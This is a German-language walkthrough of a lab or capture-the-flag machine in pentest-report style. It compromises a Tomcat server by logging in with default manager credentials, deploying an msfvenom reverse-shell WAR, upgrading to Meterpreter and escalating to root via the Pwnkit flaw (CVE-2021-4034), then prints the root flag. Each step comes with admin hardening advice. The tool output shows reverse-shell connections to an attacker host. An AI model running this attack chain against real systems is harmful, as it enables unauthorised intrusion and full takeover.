Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und der anschließenden Analyse der offenen Ports und Dienste.
192.168.2.122 08:00:27:1a:6b:07 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu entdecken.
Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.122` erfolgreich gefunden. Die MAC-Adresse (`08:00:27:1a:6b:07`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP `192.168.2.122` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.
192.168.2.122 mytomcathost.vln
Analyse: Der Hostname `mytomcathost.vln` wird der IP `192.168.2.122` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.
Ein umfassender Nmap-Scan wird durchgeführt.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-21 00:39 CEST Nmap scan report for mytomcathost.vln (192.168.2.122) Host is up (0.00013s latency). Not shown: 65504 filtered tcp ports (no-response), 29 filtered tcp ports (host-prohibited) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0) | ssh-hostkey: | 2048 61:16:10:91:bd:d7:6c:06:df:a2:b9:b5:b9:3b:dd:b6 (RSA) | 256 0e:a4:c9:fc:de:53:f6:1d:de:a9:de:e4:21:34:7d:1a (ECDSA) |_ 256 ec:27:1e:42:65:1c:4a:3b:93:1c:a1:75:be:00:22:0d (ED25519) 8080/tcp open http Apache Tomcat 9.0.31 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/9.0.31 MAC Address: 08:00:27:1A:6B:07 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|storage-misc Running (JUST GUESSING): Linux 3.X|4.X|5.X|2.6.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%) OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 cpe:/o:linux:linux_kernel:2.6.32 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28 Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (95%), Linux 3.16 - 4.6 (91%), Linux 4.10 (91%), Linux 4.4 (91%), Linux 2.6.32 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 - 5.8 (91%), Linux 5.0 - 5.4 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.13 ms mytomcathost.vln (192.168.2.122)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`). Auffällig ist die hohe Anzahl gefilterter Ports, was auf eine Firewall hindeuten könnte.
Bewertung: Der Scan findet zwei offene Ports:
Empfehlung (Pentester): Untersuchen Sie den Tomcat-Server auf Port 8080 genauer (Standard-Credentials für Manager-App? Bekannte Schwachstellen für Version 9.0.31?). Recherchieren Sie bekannte Schwachstellen für OpenSSH 6.6.1.
Empfehlung (Admin):** **Dringend:** Aktualisieren Sie OpenSSH und Apache Tomcat auf die neuesten stabilen Versionen. Überprüfen Sie die Firewall-Konfiguration.
Wir filtern die Nmap-Ausgabe nach offenen Ports.
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.31
Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.
Bewertung: Bestätigt die beiden offenen Ports 22 und 8080.
Empfehlung (Pentester): Klare Übersicht der Angriffsvektoren.
Empfehlung (Admin):** Notwendigkeit prüfen, Dienste aktualisieren.
Wir konzentrieren uns auf den Apache Tomcat-Server auf Port 8080.
Ein Gobuster-Scan wird gegen Port 8080 durchgeführt.
http://mytomcathost.vln:8080/docs (Status: 302) [Size: 0] [--> /docs/] http://mytomcathost.vln:8080/examples (Status: 302) [Size: 0] [--> /examples/]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien auf Port 8080.
Bewertung: Findet die Standard-Tomcat-Verzeichnisse `/docs` und `/examples`. Keine weiteren benutzerdefinierten Anwendungen oder Pfade auf dieser Ebene sichtbar.
Empfehlung (Pentester): Führen Sie einen spezifischeren Scan mit Nikto oder einem anderen Tomcat-Scanner durch, um nach der Manager-App und anderen bekannten Schwachstellen zu suchen.
Empfehlung (Admin):** Entfernen Sie die `/docs`- und `/examples`-Anwendungen von Produktions-Tomcat-Servern.
Ein Nikto-Scan wird gegen Port 8080 durchgeführt.
- Nikto v2.5.0 + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 8080 + Start Time: 2023-09-21 00:41:48 (GMT2) + Server: No banner retrieved + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS . + HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server. + HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server. + /examples/servlets/index.html: Apache Tomcat default JSP pages present. + /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104 + /axis2/axis2-web/HappyAxis.jsp: Apache Axis2 Happiness Page identified which includes internal application details. + /manager/html: Default account found for 'Tomcat Manager Application' at (ID 'tomcat', PW 'tomcat'). Apache Tomcat. See: CWE-16 + /host-manager/html: Default Tomcat Manager / Host Manager interface found. + /manager/html: Tomcat Manager / Host Manager interface found (pass protected). + /axis2/services/Version/getVersion: Apache Axis2 version identified. + /axis2/services/listServices: Apache Axis2 WebServices identified. + /axis2/axis2-web/index.jsp: Apache Axis2 Web Application identified. + /host-manager/status: Default Tomcat Server Status interface found. + /manager/status: Tomcat Server Status interface found (pass protected). + 8226 requests: 0 error(s) and 17 item(s) reported on remote host + End Time: 2023-09-21 00:42:15 (GMT2) (27 seconds) + 1 host(s) tested
Analyse: Nikto scannt den Tomcat-Server auf Port 8080.
Bewertung: Nikto liefert zahlreiche wichtige Ergebnisse:
Empfehlung (Pentester): Versuchen Sie sofort, sich bei `/manager/html` mit `tomcat`/`tomcat` anzumelden. Wenn dies gelingt, können Sie WAR-Dateien (z.B. eine Reverse Shell) hochladen und bereitstellen.
Empfehlung (Admin):** **Dringend:** Ändern Sie die Standard-Passwörter für den Tomcat Manager und Host Manager oder deaktivieren Sie die Anwendungen, wenn sie nicht benötigt werden. Entfernen Sie die `/examples`- und `/docs`-Anwendungen. Deaktivieren Sie unsichere HTTP-Methoden wie PUT und DELETE, falls nicht erforderlich.
Test des Tomcat Manager Logins:
Analyse: Versuch, sich mit den Standard-Credentials `tomcat`/`tomcat` am Tomcat Manager anzumelden.
Bewertung: Erfolg! Der Login mit den Standard-Credentials funktioniert. Dies ermöglicht uns das Hochladen und Bereitstellen von WAR-Dateien.
Empfehlung (Pentester): Erstellen Sie eine WAR-Datei mit einer Reverse Shell (z.B. mit `msfvenom`) und laden Sie diese über das Manager-Interface hoch.
Empfehlung (Admin):** Standard-Passwörter sofort ändern!
Dieser Abschnitt beschreibt die Ausnutzung der schwachen Tomcat Manager-Credentials, um eine Webshell (WAR-Datei) hochzuladen und so initialen Zugriff auf das System zu erlangen.
Kurzbeschreibung: Der Nikto-Scan identifizierte den Tomcat Manager auf Port 8080 und fand heraus, dass die Standard-Credentials (`tomcat`/`tomcat`) funktionierten. Wir erstellen eine WAR-Datei, die eine Reverse Shell enthält, laden diese über den Manager hoch und lösen sie aus.
Voraussetzungen: Zugriff auf Port 8080. Funktionierende Tomcat Manager Credentials (`tomcat`/`tomcat`).
Schritt 1: Erstellen der Reverse Shell WAR-Datei
[-] No platform was selected, choosing Msf::Module::Platform::Java from the payload [-] No arch selected, selecting arch: java from the payload No encoder or badchars specified, outputting raw payload Payload size: 1104 bytes Final size of war file: 1104 bytes Saved as: revshell.war
Analyse: `msfvenom` wird verwendet, um einen Payload zu generieren.
Bewertung: Eine `revshell.war`-Datei wurde erfolgreich erstellt. Diese enthält die Reverse Shell und kann über den Tomcat Manager bereitgestellt werden.
Empfehlung (Pentester): Laden Sie `revshell.war` über das `/manager/html`-Interface hoch. Starten Sie einen Netcat-Listener auf Port 4444.
Empfehlung (Admin):** Keine Aktion.
Schritt 2: Hochladen und Bereitstellen der WAR-Datei
1. Login to http://mytomcathost.vln:8080/manager/html with tomcat:tomcat 2. Navigate to "WAR file to deploy" section. 3. Browse and select revshell.war. 4. Click "Deploy". 5. Note the application path (e.g., /revshell).
Analyse: Die `revshell.war`-Datei wird über die Weboberfläche des Tomcat Managers hochgeladen und bereitgestellt (deployed).
Bewertung: Die bösartige Webanwendung ist nun auf dem Server aktiv und unter dem Pfad `/revshell` (oder ähnlich) erreichbar.
Empfehlung (Pentester): Starten Sie den Listener und rufen Sie die URL der bereitgestellten Anwendung auf (z.B. `http://mytomcathost.vln:8080/revshell/`), um die Reverse Shell auszulösen.
Empfehlung (Admin):** Tomcat Manager sichern!
Schritt 3: Listener starten und Shell auslösen
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 60240
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Anschließend wird die URL der bereitgestellten WAR-Datei aufgerufen.
Bewertung: Initial Access erfolgreich! Der Listener empfängt eine Verbindung vom Zielsystem. Die Shell läuft mit den Rechten des Tomcat-Prozesses (oft ein dedizierter Benutzer wie `tomcat` oder manchmal sogar `root`).
Empfehlung (Pentester): Überprüfen Sie die Benutzerrechte in der Shell (`id`, `whoami`). Stabilisieren Sie die Shell. Beginnen Sie die lokale Enumeration.
Empfehlung (Admin):** Tomcat Manager sichern. Tomcat-Prozess mit minimalen Rechten ausführen.
Wir untersuchen das System von der erhaltenen Shell aus und werten die Sitzung zu Meterpreter auf.
Anzeigen des Root-Verzeichnisses:
total 40 dr-xr-xr-x. 17 root root 4096 Feb 21 2020 . dr-xr-xr-x. 17 root root 4096 Feb 21 2020 .. -rw-r--r-- 1 root root 0 Feb 21 2020 .autorelabel lrwxrwxrwx. 1 root root 7 Feb 21 2020 bin -> usr/bin dr-xr-xr-x. 5 root root 4096 Mar 22 2020 boot drwxr-xr-x 18 root root 3000 Sep 20 18:37 dev drwxr-xr-x. 82 root root 8192 Sep 20 18:37 etc drwxr-xr-x. 2 root root 6 Jun 9 2014 home lrwxrwxrwx. 1 root root 7 Feb 21 2020 lib -> usr/lib lrwxrwxrwx. 1 root root 9 Feb 21 2020 lib64 -> usr/lib64 drwxr-xr-x. 2 root root 6 Jun 9 2014 media drwxr-xr-x. 2 root root 6 Jun 9 2014 mnt drwxr-xr-x. 2 root root 6 Jun 9 2014 opt dr-xr-xr-x 100 root root 0 Sep 20 18:37 proc dr-xr-x---. 3 root root 4096 Mar 22 2020 root drwxr-xr-x 21 root root 600 Sep 20 18:37 run lrwxrwxrwx. 1 root root 8 Feb 21 2020 sbin -> usr/sbin drwxr-xr-x. 2 root root 6 Jun 9 2014 srv dr-xr-xr-x 13 root root 0 Sep 20 18:49 sys drwxrwxrwt. 9 root root 4096 Sep 20 18:37 tmp drwxr-xr-x. 13 root root 4096 Feb 21 2020 usr drwxr-xr-x. 20 root root 4096 Mar 22 2020 var
Analyse: Listet den Inhalt des Wurzelverzeichnisses (`/`) auf.
Bewertung: Zeigt eine typische Linux-Verzeichnisstruktur. Bestätigt, dass wir uns auf einem Linux-System befinden.
Empfehlung (Pentester): Überprüfen Sie die Benutzerrechte (`id`). Suchen Sie nach SUID-Dateien.
Empfehlung (Admin):** Keine Aktion.
Suche nach SUID-Binaries:
34180740 64 -rwsr-xr-x 1 root root 64200 Mar 6 2015 /usr/bin/chage 34180741 80 -rwsr-xr-x 1 root root 78168 Mar 6 2015 /usr/bin/gpasswd 34176724 44 -rwsr-xr-x 1 root root 41752 Mar 6 2015 /usr/bin/newgrp 34183384 44 -rwsr-xr-x 1 root root 44232 Mar 6 2015 /usr/bin/mount 34181113 24 -rws--x--x 1 root root 23960 Mar 6 2015 /usr/bin/chfn 34180862 24 -rws--x--x 1 root root 23856 Mar 6 2015 /usr/bin/chsh 34183399 32 -rwsr-xr-x 1 root root 32064 Mar 6 2015 /usr/bin/su 34183403 32 -rwsr-xr-x 1 root root 31960 Mar 6 2015 /usr/bin/umount 34355204 28 -rwsr-xr-x 1 root root 27656 Jun 9 2014 /usr/bin/pkexec 34355230 60 -rwsr-xr-x 1 root root 57536 Jul 30 2014 /usr/bin/crontab 34684832 128 -rwsr-xr-x 1 root root 130720 Mar 6 2015 /usr/bin/sudo 34645850 28 -rwsr-xr-x 1 root root 27832 Jun 10 2014 /usr/bin/passwd 67387911 12 -rwsr-xr-x 1 root root 11208 Mar 5 2015 /usr/sbin/pam_timestamp_check 67387913 36 -rwsr-xr-x 1 root root 36264 Mar 5 2015 /usr/sbin/unix_chkpwd 67565240 12 -rwsr-xr-x 1 root root 11296 Aug 8 2019 /usr/sbin/usernetctl 67576276 16 -rwsr-xr-x 1 root root 15416 Jun 9 2014 /usr/lib/polkit-1/polkit-agent-helper-1 67565195 312 -rwsr-x--- 1 root dbus 318384 Mar 5 2015 /usr/lib64/dbus-1/dbus-daemon-launch-helper
Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.
Bewertung: Findet Standard-SUID-Binaries für ein CentOS 7 System. **Wichtig:** `/usr/bin/pkexec` ist vorhanden. Das Datum (Juni 2014) deutet stark auf eine für Pwnkit (CVE-2021-4034) anfällige Version hin.
Empfehlung (Pentester): Nutzen Sie einen Pwnkit-Exploit (z.B. über Metasploit), um Root-Rechte zu erlangen.
Empfehlung (Admin):** **Dringend:** Patchen Sie Polkit (CVE-2021-4034). Minimieren Sie SUID-Binaries.
Einrichtung einer Metasploit-Sitzung (optional, aber im Log vorhanden):
[*] Started reverse TCP handler on 192.168.2.199:4445 [*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.122:38686) at 2023-09-21 00:51:46 +0200 Shell Banner: _[?1034hbash-4.2$ -- bash-4.2$
lport => 4441
SESSION => 1
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:4441 [*] Sending stage (1017704 bytes) to 192.168.2.122 [*] Meterpreter session 2 opened (192.168.2.199:4441 -> 192.168.2.122:54998) at 2023-09-21 00:52:52 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Eine stabilere Shell wird via Bash TCP Redirection aufgebaut (Port 4445) und dann mit Metasploit zu einer Meterpreter-Sitzung (Session 2, Port 4441) aufgewertet.
Bewertung: Erfolgreiche Etablierung einer Meterpreter-Sitzung mit den Rechten des Tomcat-Benutzers.
Empfehlung (Pentester): Nutzen Sie die Meterpreter-Sitzung (Session 2), um den Pwnkit-Exploit auszuführen.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.
Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`) mittels Metasploit, um Root-Rechte zu erlangen.
Kurzbeschreibung: Die lokale Enumeration identifizierte `/usr/bin/pkexec` als SUID-Root. Wir verwenden das entsprechende Metasploit-Modul über die bestehende Meterpreter-Sitzung, um eine Root-Meterpreter-Sitzung zu erhalten.
Voraussetzungen: Aktive Meterpreter-Sitzung als Tomcat-Benutzer (Session 2). Vorhandensein einer anfälligen Version von `pkexec`.
Schritt 1: Ausführung des Pwnkit-Exploits via Metasploit
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
session => 2
lport => 4443
lhost => 192.168.2.199
[*] Started reverse TCP handler on 192.168.2.199:4443 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.arxkkb [+] The target is vulnerable. [*] Writing '/tmp/.dspomabobrvn/civdcwwzujc/civdcwwzujc.so' (548 bytes) ... [!] Verify cleanup of /tmp/.dspomabobrvn [*] Sending stage (3045380 bytes) to 192.168.2.122 [+] Deleted /tmp/.dspomabobrvn/civdcwwzujc/civdcwwzujc.so [+] Deleted /tmp/.dspomabobrvn/.vcdrmzultla [+] Deleted /tmp/.dspomabobrvn [*] Meterpreter session 3 opened (192.168.2.199:4443 -> 192.168.2.122:51986) at 2023-09-21 00:53:48 +0200
Analyse: Das Pwnkit-Modul wird geladen, auf die Meterpreter-Sitzung 2 (als Tomcat-Benutzer) gesetzt und mit einem Listener auf Port 4443 ausgeführt.
Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 3).
Empfehlung (Pentester): Wechseln Sie zu Session 3 und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).
Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung
Server username: root
Process 1519 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),997(tomcat)
proof.txt
Best of Luck
628435356e49f976bab2c04948d22fe4
Analyse: In der neuen Meterpreter-Sitzung (Session 3) wird `getuid` ausgeführt, was "root" zurückgibt. Eine System-Shell wird geöffnet, und `id` bestätigt die Root-Rechte. Im Root-Home-Verzeichnis wird `proof.txt` gefunden und gelesen.
Bewertung: **Privilegienerweiterung erfolgreich!** Die Root-Flagge `628435356e49f976bab2c04948d22fe4` wurde gefunden.
Empfehlung (Pentester): Suchen Sie die User-Flagge (normalerweise in einem Benutzer-Home-Verzeichnis). Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Risikobewertung:** Die Kombination aus Standard-Credentials für den Tomcat Manager, die das Hochladen einer WAR-Datei ermöglichten, und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar. Sie erlaubte einem Angreifer mit Netzwerkzugriff die Eskalation zu vollen Root-Rechten.
Empfehlungen (Zusammenfassung):**